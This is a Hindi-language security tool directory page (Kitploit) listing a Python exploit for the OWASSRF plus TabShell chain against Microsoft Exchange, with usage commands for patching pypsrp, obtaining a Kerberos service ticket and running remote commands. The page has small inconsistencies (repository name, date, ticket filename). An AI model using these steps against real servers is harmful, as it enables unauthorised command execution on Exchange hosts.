Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
mobileiron-exploit — Microsoft Exchange सर्वरों पर OWASSRF + TabShell श्रृंखला का शोषण करने के लिए Python स्क्रिप्ट, जो कमांड निष्पादन के लिए Kerberos प्रमाणीकरण का उपयोग करती है। | Kitploit
उपकरण/GitHubGitHub/synacktiv/mobileiron-exploit
प्रमाणीकरण और प्राधिकरणविशेषाधिकार वृद्धिशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरण
GitHubsynacktiv/mobileiron-exploit

mobileiron-exploit

Microsoft Exchange सर्वरों पर OWASSRF + TabShell श्रृंखला का शोषण करने के लिए Python स्क्रिप्ट, जो कमांड निष्पादन के लिए Kerberos प्रमाणीकरण का उपयोग करती है।

रिपॉजिटरी देखें
92 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Kerberos प्रमाणीकरण के साथ Tabshell शोषण

  • OWASSRF + TabShell शोषण श्रृंखला से अनुकूलित

  • सबसे पहले, WSManStackVersion डाउनग्रेडिंग सक्षम करने के लिए pyprsp मॉड्यूल को पैच करें, और निर्भरताएँ स्थापित करें

root@kitploit:~
$ git clone https://github.com/jborean93/pypsrp
$ patch -p0 < pyprsp.patch
patching file pypsrp/src/pypsrp/complex_objects.py
patching file pypsrp/src/pypsrp/powershell.py
patching file pypsrp/src/pypsrp/serializer.py
patching file pypsrp/src/pypsrp/wsman.py

$ virtualenv venv
$ . ./venv/bin/activate
$ pip install ./pypsrp impacket termcolor gssapi krb5
  • फिर, एक असुरक्षित Exchange के लिए HTTP सेवा वर्ग हेतु सेवा टिकट माँगें, फिर इसे अंतिम स्क्रिप्ट को पास करें :
root@kitploit:~
$ getST.py -spn HTTP/EXCHANGE.CORP.LOCAL -k -no-pass  'CORP/Admin:Password'
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in Administrator.ccache

$ KRB5CCNAME=Admin.ccache  python3 krb_tabshell_exec_cmd.py -spn HTTP/EXCHANGE.CORP.LOCAL -url http://EXCHANGE.CORP.LOCAL -cmd whoami
[...]
टूल डाउनलोड करें